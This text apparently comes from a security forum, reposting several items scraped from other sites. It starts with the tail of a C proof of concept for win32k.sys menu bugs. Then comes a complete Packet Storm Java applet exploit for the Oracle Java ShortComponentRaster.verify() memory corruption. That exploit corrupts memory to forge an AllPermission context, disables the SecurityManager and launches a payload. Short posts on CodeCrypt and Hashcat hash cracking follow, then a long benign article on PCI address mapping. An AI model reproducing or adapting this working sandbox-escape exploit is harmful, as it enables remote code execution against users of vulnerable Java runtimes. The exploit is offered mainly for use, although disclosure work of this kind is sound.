SYSCALL_ARG(&item), // PUNICODE_STRING pstrItem 0, 0); HWND hwnd = CreateWindowEx(WS_EX_OVERLAPPEDWINDOW, class_name, wnd_title, WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, menu, instance, NULL); UpdateWindow(hwnd); while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } //--------------------------------------------------------------------------- LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { switch(msg) { case WM_DESTROY: PostQuitMessage(WM_QUIT); break; default: return DefWindowProc(hwnd, msg, wparam, lparam); } return 0; } //--------------------------------------------------------------------------- int main() { // Set syscall stub permissions. DWORD OldProtect; VirtualProtect(SyscallCode, sizeof(SyscallCode), PAGE_EXECUTE_READWRITE, &OldProtect); memcpy(&SystemCall, &SyscallCodePtr, sizeof(PVOID)); // Create host window. HANDLE hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CreateHostWindow, NULL, 0, NULL); CloseHandle(hthread); // Terminate local thread. ExitThread(EXIT_SUCCESS); return EXIT_SUCCESS; } Sursa: Windows win32k.sys menus and some “close, but no cigar” bugs | j00ru//vx tech blog

Packet Storm Exploit 2013-0917-1 - Oracle Java ShortComponentRaster.verify() Memory Corruption Site packetstormsecurity.com The ShortComponentRaster.verify() method in Oracle Java versions prior to 7u25 is vulnerable to a memory corruption vulnerability that allows bypassing of "dataOffsets[]" boundary checks when the "numDataElements" field is 0. This exploit code demonstrates remote code execution by popping calc.exe. It was obtained through the Packet Storm Bug Bounty program. import java.awt.image.*;import java.beans.Statement; import java.security.*; public class MyJApplet extends javax.swing.JApplet { /** * Initializes the applet myJApplet */ @Override public void init() { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the applet */ try { java.awt.EventQueue.invokeAndWait(new Runnable() { public void run() { initComponents(); // print environment info logAdd( "JRE: " + System.getProperty("java.vendor") + " " + System.getProperty("java.version") + "\nJVM: " + System.getProperty("java.vm.vendor") + " " + System.getProperty("java.vm.version") + "\nJava Plug-in: " + System.getProperty("javaplugin.version") + "\nOS: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " (" + System.getProperty("os.version") + ")" ); } }); } catch (Exception ex) { ex.printStackTrace(); } } public void logAdd(String str) { txtArea.setText(txtArea.getText() + str + "\n"); } public void logAdd(Object o, String... str) { logAdd((str.length > 0 ? str[0]:"") + (o == null ? "null" : o.toString())); } public String errToStr(Throwable t) { String str = "Error: " + t.toString(); StackTraceElement[] ste = t.getStackTrace(); for(int i=0; i < ste.length; i++) { str += "\n\t" + ste.toString(); } t = t.getCause(); if (t != null) str += "\nCaused by: " + errToStr(t); return str; } public void logError(Exception ex) { logAdd(errToStr(ex)); } public static String toHex(int i) { return Integer.toHexString(i); } /** * This method is called from within the init() method to initialize the * form. WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { btnStart = new javax.swing.JButton(); jScrollPane2 = new javax.swing.JScrollPane(); txtArea = new javax.swing.JTextArea(); btnStart.setText("Run calculator"); btnStart.addMouseListener(new java.awt.event.MouseAdapter() { public void mousePressed(java.awt.event.MouseEvent evt) { btnStartMousePressed(evt); } }); txtArea.setEditable(false); txtArea.setColumns(20); txtArea.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N txtArea.setRows(5); txtArea.setTabSize(4); jScrollPane2.setViewportView(txtArea); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE) .addContainerGap()) .addGroup(layout.createSequentialGroup() .addGap(242, 242, 242) .addComponent(btnStart, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 344, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(btnStart) .addContainerGap()) ); }// </editor-fold>//GEN-END:initComponents private boolean _isMac = System.getProperty("os.name","").contains("Mac"); private boolean _is64 = System.getProperty("os.arch","").contains("64"); // we will need IndexColorModel with the obedient isCompatibleRaster() which always returns true. class MyColorModel extends DirectColorModel { public MyColorModel() { super(16, 63488, 2016, 31); } // override isCompatibleRaster public boolean isCompatibleRaster(Raster r) { boolean res = true; logAdd("MyColorModel.isCompatibleRaster() = " + res); return res; } } // we will need SinglePixelPackedSampleModel which returns 0 from getNumDataElements() class MySampleModel extends SinglePixelPackedSampleModel { public MySampleModel(int dataType, int w, int h, int scanlineStride, int[] bitMasks) { super(dataType, w, h, scanlineStride, bitMasks); } // override getNumComponents public int getNumDataElements() { int res = 0; logAdd("MySampleModel.getNumDataElements() = " + res); return res; } } private int tryExpl() { try { // alloc aux vars String name = "setSecurityManager"; Object[] o1 = new Object[1]; Object o2 = new Statement(System.class, name, o1); // make a dummy call for init // allocate buffer for destination Raster, // "offsets[0]" parameter points outside the real storage, // "size" parameter is negative for bypassing "size+offsets[0] > dataArray[0].length" DataBufferUShort dst = new DataBufferUShort(new short[1][4], -100, new int[]{34 + (_is64 ? 12:0)}); // allocate the target array right after dst[] int[] a = new int[16]; // allocate an object array right after a[] Object[] oo = new Object[7]; // create Statement with the restricted AccessControlContext oo[2] = new Statement(System.class, name, o1); // create powerful AccessControlContext Permissions ps = new Permissions(); ps.add(new AllPermission()); oo[3] = new AccessControlContext( new ProtectionDomain[]{ new ProtectionDomain( new CodeSource( new java.net.URL("file:///"), new java.security.cert.Certificate[0] ), ps ) } ); // store System.class pointer in oo[] oo[4] = ((Statement)oo[2]).getTarget(); // save old a.length int oldLen = a.length; logAdd("a.length = 0x" + toHex(oldLen)); // prepare source buffer DataBufferUShort src = new DataBufferUShort(4); for(int i=0; i<2; i++) src.setElem(i,-1); // create normal source raster SinglePixelPackedSampleModel sm1 = new SinglePixelPackedSampleModel(DataBuffer.TYPE_USHORT, 2,1,2, new int[]{2,1,0}); WritableRaster wr1 = Raster.createWritableRaster(sm1, src, null); // create custom SinglePixelPackedSampleModel with malicious getNumDataElements() MySampleModel sm2 = new MySampleModel(DataBuffer.TYPE_USHORT, 2,1,2, new int[]{2,1,0}); // create destination ShortComponentRaster basing on malformed dst and sm2 WritableRaster wr2 = Raster.createWritableRaster(sm2, dst, null); logAdd(wr2); // create custom ColorModel MyColorModel cm = new MyColorModel(); // create sun.java2d.SunCompositeContext java.awt.CompositeContext cc = java.awt.AlphaComposite.Src.createContext(cm, cm, null); // call native Java_sun_awt_image_BufImgSurfaceData_initRaster() (see ...\jdk\src\share\native\sun\awt\image\BufImgSurfaceData.c) // and native Java_sun_java2d_loops_Blit_Blit() (see ...\jdk\src\share\native\sun\java2d\loops\Blit.c) cc.compose(wr1, wr2, wr2); // check results: a.length should be overwritten by 0xFFFFFFFF int len = a.length; logAdd("a.length = 0x" + toHex(len)); if (len == oldLen) { // check a[] content corruption // for RnD for(int i=0; i < len; i++) if (a != 0) logAdd("a["+i+"] = 0x" + toHex(a)); // exit logAdd("error 1"); return 1; } // ok, now we can read/write outside the real a[] storage, // lets find our Statement object and replace its private "acc" field value // search for oo[] after a[oldLen] boolean found = false; int ooLen = oo.length; for(int i=oldLen+2; i < oldLen+32; i++) if (a[i-1]==ooLen && a==0 && a[i+1]==0 // oo[0]==null && oo[1]==null && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null && a[i+5]==0 && a[i+6]==0) // oo[5,6] == null { // read pointer from oo[4] int stmTrg = a[i+4]; // search for the Statement.target field behind oo[] for(int j=i+7; j < i+7+64; j++){ if (a[j] == stmTrg) { // overwrite default Statement.acc by oo[3] ("AllPermission") a[j-1] = a[i+3]; found = true; break; } } if (found) break; } // check results if (!found) { // print the memory dump on error // for RnD String s = "a["+oldLen+"...] = "; for(int i=oldLen; i < oldLen+32; i++) s += toHex(a) + ","; logAdd(s); } else try { // show current SecurityManager logAdd(System.getSecurityManager(), "Security Manager = "); // call System.setSecurityManager(null) ((Statement)oo[2]).execute(); // show results: SecurityManager should be null logAdd(System.getSecurityManager(), "Security Manager = "); } catch (Exception ex) { logError(ex); } logAdd(System.getSecurityManager() == null ? "Ok.":"Fail."); } catch (Exception ex) { logError(ex); } return 0; } private void btnStartMousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_btnStartMousePressed try { logAdd("===== Start ====="); // try several attempts to exploit for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){ logAdd("Attempt #" + i); tryExpl(); } // check results if (System.getSecurityManager() == null) { // execute payload Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe"); } logAdd("===== End ====="); } catch (Exception ex) { logError(ex); } }//GEN-LAST:event_btnStartMousePressed // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton btnStart; private javax.swing.JScrollPane jScrollPane2; private javax.swing.JTextArea txtArea; // End of variables declaration//GEN-END:variables } Download: http://packetstormsecurity.com/files/download/123263/PSA-2013-0917-1-exploit.tgz Sursa: Packet Storm Exploit 2013-0917-1 - Oracle Java ShortComponentRaster.verify() Memory Corruption ? Packet Storm

CodeCrypt 1.3 codecrypt is a GnuPG-like program for encryption and signing that uses only quantum-computer-resistant algorithms. Changes: This release fixes too aggressive locking of keyring that caused deadlocks on piping. It fixes many warnings and code inconsistencies. It prevents possible problems with forged sencode. Download: http://packetstormsecurity.com/files/download/123251/codecrypt-1.3.tar.gz Sursa: CodeCrypt 1.3 ? Packet Storm

Hashcat Cracking Password Hashes Description: In this video you will learn how to crack passwords hashes using Hashcat and Hash-Identifier tool. This is a complete demo and explaining each and every steps to crack your hashes. Sursa: Hashcat Cracking Password Hashes

System Address Map Initialization in x86/x64 Architecture Part 1: PCI-Based Systems Darmawan Salihun September 16, 2013 This article serves as a clarification about the PCI expansion ROM address mapping, which was not sufficiently covered in my “Malicious PCI Expansion ROM” article published by Infosec Institute last year (Malicious Code Execution in PCI Expansion ROM). Low-level programmers are sometimes puzzled about the mapping of device memory, such as PCI device memory, to the system address map. This article explains the initialization of the system address map, focusing on the initialization of the PCI chip registers that control PCI device memory address mapping to the system address map. PCI device memory address mapping is only required if the PCI device contains memory, such as a video card, network card with onboard buffer, or network card that supports PCI expansion ROM, etc. X86/x64 system address map is complex due to backward compatibility that must be maintained in the bus protocol in x86/x64 architecture. Bus protocol being utilized in a system dictates the address mapping of the memory of a device—that’s attached to the bus—to the system address map. Therefore, you must understand the address mapping mechanism of the specific bus protocol to understand the system address map initialization. This article focuses on systems based on the PCI bus protocol. PCI bus protocol is a legacy bus protocol by today’s standard. However, it’s very important to understand how it works in the lowest level in terms of software/firmware, because it’s impossible to understand the later bus protocol, the PCI Express (PCIe) without understanding PCI bus protocol. PCIe is virtually the main bus protocol in every x86/x64 systems today. Part 2 of this article will focus on PCIe-based systems. Conventions There are several different usages of the word “memory” in this article. It can be confusing for those new to the subject. Therefore, this article uses these conventions: The word “main memory” refers to the RAM modules installed on the motherboard. The word “memory controller” refers to part of the chipset or the CPU that controls the RAM modules and accesses to the RAM modules. Flash memory refers to either the chip on the motherboard that stores the BIOS/UEFI or the chip that stores the PCI expansion ROM contents. The word “memory range” or “memory address range” means the range, i.e., from the base/start address to the end address (base address + memory size) occupied by a device in the CPU memory space. The word “memory space” means the set of memory addresses accessible by the CPU, i.e., the memory that is addressable from the CPU. Memory in this context could mean RAM, ROM or other forms of memory which can be addressed by the CPU. The word “PCI expansion ROM” mostly refers to the ROM chip on a PCI device, except when the context contains other specific explanation. The Boot Process at a Glance This section explains the boot process in sufficient detail to understand the system address map and other bus protocol-related matters that are explained later in this article. You need to have a clear understanding of the boot process before we get into the system address map and bus protocol-related talks. The boot process in x86/x64 starts with the platform firmware (BIOS/UEFI) execution. The platform firmware execution happens prior to the operating system (OS) boot, specifically before the “boot loader” loads and executes the OS. Platform firmware execution can be summarized as follows: Start of execution in the CPU (processor) reset vector. In all platforms, the bootstrap processor (BSP) starts execution by fetching the instruction located in an address known as the reset vector. In x86/x64 this address is 4GB minus 16-bytes (FFFF_FFF0h). This address is always located in the BIOS/UEFI flash memory on the motherboard. CPU operating mode initialization. In this stage, the platform firmware switches the CPU to the platform firmware CPU operating mode; it could be real mode, “voodoo” mode, or flat protected mode, depending on the platform firmware. X86/x64 CPU resets in a modified real mode operating mode, i.e., real mode at physical address FFFF_FFF0h. Therefore, if the platform firmware CPU operating mode is flat protected mode, it must switch the CPU into that mode. Present-day platform firmware doesn’t use “voodoo” mode as extensively as in the past. In fact, most present-day platform firmware has abandoned its use altogether. For example, UEFI implementations use flat protected mode. Preparation for memory initialization. In this stage there are usually three steps carried out by the platform firmware code: CPU microcode update. In this step the platform firmware loads the CPU microcode update to the CPU. CPU-specific initialization. In x86/x64 CPUs since (at least) the Pentium III and AMD Athlon era, part of the code in this stage usually sets up a temporary stack known as cache-as-RAM (CAR), i.e., the CPU cache acts as temporary (writeable) RAM because at this point of execution there is no writable memory—the RAM hasn’t been initialized yet. Complex code in the platform firmware requires the use of a stack. In old BIOS, there is some sort of assembler macro trick for return address handling because by default the return address from a function call in x86/x64 is stored in a “read only” stack, but no writeable memory variable can be used. However, this old trick is not needed anymore, because all present-day CPUs support CAR. If you want to know more about CAR, you can consult the BIOS and Kernel Developer Guide (BKDG) for AMD Family 10h over at http://support.amd.com/us/Processor_TechDocs/31116.pdf. Section 2.3.3 of that document explains how to use the CPU L2 cache as general storage on boot. CAR is required because main memory (RAM) initialization is a complex task and requires the use of complex code as well. The presence of CAR is an invaluable help here. Aside from CAR setup, certain CPUs need to initialize some of its machine-specific registers (MSRs); the initialization is usually carried out in this step. Chipset initialization. In this step the chipset registers are initialized, particularly the chipset base address register (BAR). We’ll have a look deeper into BAR later. For the time being, it’s sufficient that you know BAR controls how the chip registers and memory (if the device has its own memory) are mapped to the system address map. In some chipsets, there is a watch dog timer that must be disabled before memory initialization because it could randomly reset the system. In that case, disabling the watch dog timer is carried out in this step. Main memory (RAM) initialization. In this step, the memory controller initialization happens. In the past, the memory controller was part of the chipset. Today, that’s no longer the case. The memory controller today is integrated into the CPU. The memory controller initialization and RAM initialization happens together as complementary code, because the platform firmware code must figure out the correct parameters supported by both the memory controller and the RAM modules installed on the system and then initialize both of the components into the “correct” setup. Post memory initialization. Before this step, the platform firmware code is executed from the flash ROM in the motherboard—and if CAR is enabled, the CPU cache acts as the stack. That’s painfully slow compared to “ordinary” code execution in RAM, especially with instructions fetched into the CPU, because the flash ROM is very slow compared to RAM. Therefore, the platform firmware binary usually copies itself to RAM in this step and continues execution there. In the previous step, the main memory (RAM) is initialized. However, there are several more steps required before the main memory (RAM) can be used to execute the platform firmware code: Memory test. This is a test performed to make sure RAM is ready to be used because it’s possible that some parts of the RAM are broken. The detail of how the test is carried out depends on the boot time requirement of the system. If the boot time requirement is very fast, in many cases it’s impossible to test all parts of the RAM and only some parts can be tested with some sort of statistical approach on which parts to test to make sure the test covers as wide parts as possible (statistically speaking). “Shadowing” the firmware to RAM. “Shadowing” in this context means copying the RAM from the flash ROM to the RAM at address range below the 1MB limit—1 mb is the old 20-bit address mapping limit set for DOS-era hardware. However, the copying is not a trivial copy, because the code will reside in the RAM but in the same address range previously occupied by the flash ROM—this is why it’s called “shadowing.” Some bit twiddling must be done on the chipset by the platform firmware code to control the mapping of the address range to the RAM and the flash ROM. Details of the “bit twiddling” are outside the scope of this article. You can read details of the mapping in the respective chipset datasheet. Redirecting memory transaction to the correct target. This is a continuation of the “shadowing” step. The details depends on the platform (CPU and chipset combination), and the runtime setup, i.e., whether to shadow the platform firmware or not at runtime (when the OS runs). Setting up the stack. This step sets up the stack (in RAM) to be used for further platform firmware code execution. In previous steps, the stack is assumed to be present in the CAR. In this step, the stack is switched from CAR to RAM because the RAM is ready to be used. This is important because the space for stack in CAR is limited compared to RAM. Transferring platform firmware execution to RAM. This is a “jump” to the platform firmware code which is “shadowed” to the RAM in step b. [*]Miscellaneous platform enabling. This step depends on the specific system configuration, i.e., the motherboard and supporting chips. Usually, it consists of clock generator chip initialization, to run the platform at the intended speed, and in some platforms this step also consists of initializing the general purpose I/O (GPIO) registers. [*]Interrupt enabling. Previous steps assume that the interrupt is not yet enabled because all of the interrupt hardware is not yet configured. In this step the interrupt hardware such as the interrupt controller(s) and the associated interrupt handler software are initialized. There are several possible interrupt controller hardware in x86/x64, i.e., the 8259 programmable interrupt controller (PIC), the local advanced programmable interrupt controller (LAPIC) present in most CPUs today, and the I/O advanced programmable interrupt controller (IOxAPIC) present in most chipsets today. After the hardware and software required to handle the interrupt are ready, the interrupt is enabled. [*]Timer initialization. In this step, the hardware timer is enabled. The timer generates timer interrupt when certain interval is reached. OS and some applications running on top of the OS use the timer to work. There are also several possible pieces of hardware (or some combination) that could act as the timer in x86/x64 platform, i.e., the 8254 programmable interrupt timer (PIT) chip that resides in the chipset, the high precision event timer (HPET) also residing in the chipset—this timer doesn’t need initialization and is used only by the OS, real time clock (RTC) which also resides in the chipset, and the local APIC (LAPIC) timer present in the CPU. [*]Memory caching control initialization. X86/x64 CPU contains memory type range registers (MTRRs) that controls the caching of all memory ranges addressable by the CPU. The caching of the memory ranges depends on the type of hardware present in the respective memory range and it must be initialized accordingly. For example, the memory range(s) occupied by I/O devices such as the PCI bus must be initialized as uncached address range(s)—memory range(s) in this context is as seen from the CPU point of view. [*]Application processor(s) initialization. The non-bootstrap CPU (processor) core is called the application processor (AP) in some documentation; we will use the same naming here. In multicore x86/x64 CPUs, only the BSP is active upon reset. Therefore, the other cores—the AP—must be initialized accordingly before the OS boot-loader takes control of the system. One of the most important things to initialize in the AP is the MTRRs. The MTRRs must be consistent in all CPU cores, otherwise memory read and write could misbehave and bring the system to a halt. [*]“Simple” I/O devices initialization. “Simple” IO devices in this context are hardware such as super IO (SIO), embedded controller, etc. This initialization depends on the system configuration. The SIO typically controls legacy IO, such as PS/2 and serial interfaces, etc. The embedded controller is mostly found on laptops, it controls things such as buttons on the laptop, the interface from the laptop motherboard to the battery, etc. [*]PCI device discovery and initialization. In this step, PCI devices—by extension the PCIe devices and other devices connected to PCI-compatible bus—are detected and initialized. The devices detected in this step could be part of the chipset and/or other PCI devices in the system, either soldered to the motherboard or in the PCI/PCIe expansion slots. There are several resource assignments to the device happening in this step: IO space assignment, memory mapped IO (MMIO) space assignment, IRQ assignment (for devices that requires IRQ), and expansion ROM detection and execution. The assignment of memory or IO address space happens via the use of BAR. We’ll get into the detail in the PCI bus base address registers initialization section. USB devices initialization happens in this step as well because USB is a PCI bus-compatible protocol. Other non-legacy devices are initialized in this step as well, such as SATA, SPI, etc. [*]OS boot-loader execution. This is where the platform firmware hands over the execution to the OS boot-loader, such as GRUB or LILO in Linux or the Windows OS loader. Now, the boot process carried out by the platform firmware should be clear to you. Particularly the steps where the system address map is initialized in relation to PCI devices, namely step 3c and step 12. All of these steps deal with the BAR in the PCI chip or part of the chipset. Dissecting PCI-Based System Address Map We need to dissect a typical implementation sample of the system address map in x86/x64 before we can proceed to the system address map initialization in more detail. The Intel 815E chipset is the implementation sample here. You can download the chipset datasheet at http://download.intel.com/design/chipsets/datashts/29068801.pdf. Intel 815E is only half of the equation because it’s the “northbridge” part of the chipset. The “southbridge” part of the chipset is Intel ICH2. You can download Intel ICH2 datasheet at Intel® 82801BA ICH-2 and Intel® 82801BAM ICH2-M Datasheet. The northbridge is the chipset closer to the CPU and connected directly to the CPU, while the southbridge is the chipset farther away from the CPU and connected to the CPU via the northbridge. In present-day CPUs, the northbridge is typically integrated into the CPU package. System Based on Intel 815E-ICH2 Chipset Figure 1 shows the “simplified” block diagram of the system that uses Intel 815E-ICH2 chipset combination. Figure 1 doesn’t show the entire connection from the chipset to other components in the system, only those related to the address mapping in the system. Figure 1 Intel 815E-ICH2 (Simplified) Block Diagram The Intel 815E-ICH2 chipset pair is not a “pure” PCI chipset, because it implements a non-PCI bus to connect the northbridge and the southbridge, called the hub interface (HI), as you can see in Figure 1. However, from logic point of view, the HI bus is basically a PCI bus with faster transfer speed. Well, our focus here is not on the transfer speed or techniques related to data transfers, but on the address mapping and, since HI doesn’t alter anything related to address mapping, we can safely ignore the HI bus specifics and regard it in the same respect as PCI bus. The Intel 815E chipset is ancient by present standards, but it’s very interesting case study for those new to PCI chipset low-level details because it’s very close to “pure” PCI-based systems. As you can see in Figure 1, Intel 815E chipset was one of the northbridge chipset for Intel CPUs that uses socket 370, such as Pentium III (code name Coppermine) and Intel Celeron CPUs. Figure 1 shows how the CPU connects (logically) to the rest of the system via the Intel 815E northbridge. This implies that any access to any device outside the CPU must pass through the northbridge. From an address mapping standpoint, this means that Intel 815E acts as a sort of “address mapping router,” i.e., the device that routes read or write transactions to a certain address—or address range(s)—to the correct device. In fact, that is how the northbridge works in practice. The difference with present-day systems is the physical location of the northbridge, which is integrated into the CPU, instead of being an individual component on the motherboard like Intel 815E back then. The configuration of the “address mapping router” in the northbridge at boot differs from the runtime configuration. In practice, the “address mapping router” is a series of (logical) PCI device registers in the northbridge that control the system address map. Usually, these registers are part of the memory controller and the AGP/PCI Bridge logical devices in the northbridge chipset. The platform firmware initializes these address mapping-related registers at boot to prepare for runtime usage inside an OS. Now that you know how the system address map works at the physical level, i.e., it is controlled by registers in the northbridge, it’s time to dive into the system address map itself. Figure 2 shows the system address map of systems using Intel 815E chipset. Figure 2 Intel 815E System Address Map Figure 2 shows Intel 815E system address map. You can find a complementary address mapping explanation in Intel 815E chipset datasheet in Section 4.1, “System Address Map.” Anyway, you should be aware that the system address map is “seen” from the CPU point of view, not from other chip in the system. Figure 2 shows that the memory space supported by the CPU is actually 64GB. This support has been in Intel CPUs since the Pentium Pro era, by using a technique called physical address extension (PAE). Despite that, the amount of memory space used depends on the memory controller in the system, which in this case located in the northbridge (Intel 815E chipset). The Intel 815E chipset only supports up to 512MB of main memory (RAM) and only uses a 4GB memory space. Figure 2 also shows that PCI devices consume (use) the CPU memory space. A device that consumes CPU memory space is termed a memory mapped I/O device or MMIO device for short. The MMIO term is widely used in the industry and applies to all other CPUs, not just x86/x64. Figure 2 shows that the RAM occupies (at most) the lowest 512MB of the memory space. However, above the 16MB physical address, the space seems to be shared between RAM and PCI devices. Actually, there is no sharing of memory range happening in the system because the platform firmware initializes the PCI device’s memory to use memory range above the memory range consumed by main memory (RAM) in the CPU memory space. This memory range “free” from RAM depends on the amount of RAM installed in the system. If the installed RAM size is 256MB, the PCI memory range starts right after the 256MB boundary up until the 4GB memory space boundary, if the installed RAM size is 384MB, the PCI memory range starts right after the 384MB boundary up until the 4GB memory space boundary and so on. Therefore, this implies that the memory range consumed by the PCI devices is relocatable, i.e., can be relocated within the CPU memory space, otherwise it’s impossible to prevent conflict in memory range usage. Well, it’s true and actually it’s one of the features of the PCI bus which sets it apart from the ISA bus that it replaced. In the—very old—ISA bus, you have to set the jumpers on the ISA device to the correct setting; otherwise there will be address usage conflict in your system. In PCI bus, it’s the job of the platform firmware to set up the correct address mapping in the PCI devices. There are several special ranges in the memory range consumed by PCI device memory above the installed RAM size—installed RAM size is termed top of main memory (TOM) in Intel documentation, so I’ll use the same term from now on. Some of the special ranges above TOM are hardcoded and cannot be changed because the CPU reset vector and certain non-CPU chip registers always map to those special memory ranges, i.e., they are all not relocatable. Among these “hardcoded” memory ranges are the memory ranges used by advanced programmable interrupt controller (APIC) and the flash memory which stores the BIOS/UEFI code. These hardcoded memory ranges cannot be used by PCI devices at all. PCI Configuration Register Now, we have arrived in the core of our discussion: how does the PCI bus protocol map PCI devices memory to the system address map? The mapping is accomplished by using a set of PCI device registers called BAR (base address register). We will get into details of the BAR initialization in the “PCI Bus Base Address Registers Initialization” section later. Right now, we will look at details of the BAR implementation in PCI devices. BARs are part of the so-called PCI configuration register. Every PCI device must implement the PCI configuration register dictated by the PCI specification. Otherwise, the device will not be regarded as a valid PCI device. The PCI configuration register controls the behavior of the PCI device at all times. Therefore, changing the (R/W) value in the PCI configuration register would change the behavior of the system as well. In x86/x64 architecture, the PCI configuration register is accessible via two 32-bit I/O ports. I/O port CF8h-CFBh acts as address port, while I/O port CFCh-CFFh acts as the data port to read/write values into the PCI configuration register. For details on accessing the PCI configuration register in x86, please read this section of my past article: https://sites.google.com/site/pinczakko/pinczakko-s-guide-to-award-bios-reverse-engineering#PCI_BUS. The material in that link should give you a clearer view about access to the PCI configuration register in x86/x64 CPUs. Mind you that the code in that link must be executed in ring 0 (kernel mode) or under DOS (if you’re using 16-bit assembler), otherwise it would make the OS respond with access permission exception. Now, let’s look more closely at the PCI configuration register. The PCI configuration register consists of 256 bytes of registers, from (byte) offset 00h to (byte) offset FFh. The 256-byte PCI configuration register consists of two parts, the first 64 bytes are called PCI configuration register header and the rest are called device-specific PCI configuration register. This article only deals with the BARs, which are located in the PCI configuration register header. It doesn’t deal with the device-specific PCI configuration registers because only BARs affect the PCI device memory mapping to system address map. There are two types of PCI configuration register header, a type 0 and a type 1 header. The PCI-to-PCI bridge device must implement the PCI configuration register type 1 header, while other PCI device must implement the PCI configuration register type 0 header. This article only deals with PCI configuration register type 0 header and focuses on the BARs. Figure 3 shows the PCI configuration register type 0 header. The registers are accessed via I/O ports CF8h-CFBh and CFCh-CFFh, as explained previously. Figure 3 PCI Configuration Registers Type 0 Figure 3 shows that there are two types of BAR, highlighted on a blue background: the BARs themselves and the expansion ROM base address register (XROMBAR). BARs span the range of six 32-bit registers (24-bytes), from offset 10h to offset 27h in the PCI configuration header type 0. BARs are used for mapping the non-expansion ROM PCI device memory—usually RAM on the PCI device—to the system memory map, while XROMBAR is specifically used for mapping the PCI expansion ROM to system address map. It’s the job of platform firmware to initialize the values of the BARs. Each BAR is a 32-bit registers, hence each of them can map PCI device memory in the 32-bit system address map, i.e., can map the PCI device memory to the 4GB memory address space. The BARs and XROMBAR are readable and writeable registers, i.e., the contents of the BARs/XROMBAR can be modified. That’s the core capability required to relocate the PCI device memory in the system address map. PCI device memory is said to be relocatable in the system address map, because you can change the “base” address (start address) of the PCI device memory in the system address map by changing the contents of the BARs/XROMBAR. It works like this: Different systems can have different main memory (RAM) size. Different RAM size means that the area in the system address map set aside for PCI MMIO range differs. Different PCI MMIO range means that the PCI device memory occupies different address in the CPU memory space. That means you have to be able to change the base address of the PCI device memory in the CPU memory space required when migrating the PCI device to a system with a different amount of RAM; the same is true if you add more RAM to the same system. BARs and XROMBAR control the address occupied by the PCI device memory. Because both of them are modifiable, you can change the memory range occupied by the PCI device memory (in the CPU memory space) as required. Practical System Address Map on Intel 815E-ICH2 Platform Perhaps the XROMBAR and BARs explanation is still a bit confusing for beginners. Let’s look at some practical examples. The scenario is as follows: The system in focus uses an Intel Pentium III CPU with 256 mb RAM, a motherboard with Intel 815E chipset, and an AGP video card with 32 mb onboard memory. The AGP video card is basically a PCI device with onboard memory from the system address map point of view. We call this configuration the first system configuration from now on. The same system as in point 1. However, we add new 256 mb RAM module. Therefore, the system now has 512 mb RAM—the maximum amount of RAM supported by the Intel 815E chipset based on its datasheet. We call this configuration the second system configuration from now on. We’ll have a look at what the system address map looks like in both of the configurations above. Figure 4 shows the system address map for the first system configuration (256 mb RAM) and the system address map for the second system configuration (512 mb RAM). As you can see, the memory range occupied by the PCI devices shrinks from 3840 mb (4GB – 256 mb) in the first system configuration (256 mb RAM) to 3584 mb (4GB – 512MB) in the second system configuration (512 mb RAM). The change also causes the base address of the AGP video card memory to change; in the first system configuration the base address is 256 mb while in the second system configuration the base address is 512 mb. The change in the AGP video card memory base address is possible because the contents of the AGP video card—its video chip—BAR can be modified. Figure 4 System Address Map for the First (256 mb RAM) and Second (512 mb RAM) System Configuration Now, let’s see how the Intel 815E northbridge routes access to the CPU memory space in the first system configuration shown in Figure 4 (256 mb RAM). Let’s breakdown the steps for a read request to the video (AGP) memory in the first system configuration. In the first system configuration, the platform firmware initializes the video memory to be mapped in memory range 256 mb to 288 mb, because the video memory size is 32 mb—the first 256 mb is mapped to RAM. The platform firmware does so by configuring/initializing the video chip BARs to accept accesses in the 256 mb to 288 mb memory range. Figure 5 shows the steps to read the contents of the video card memory starting at 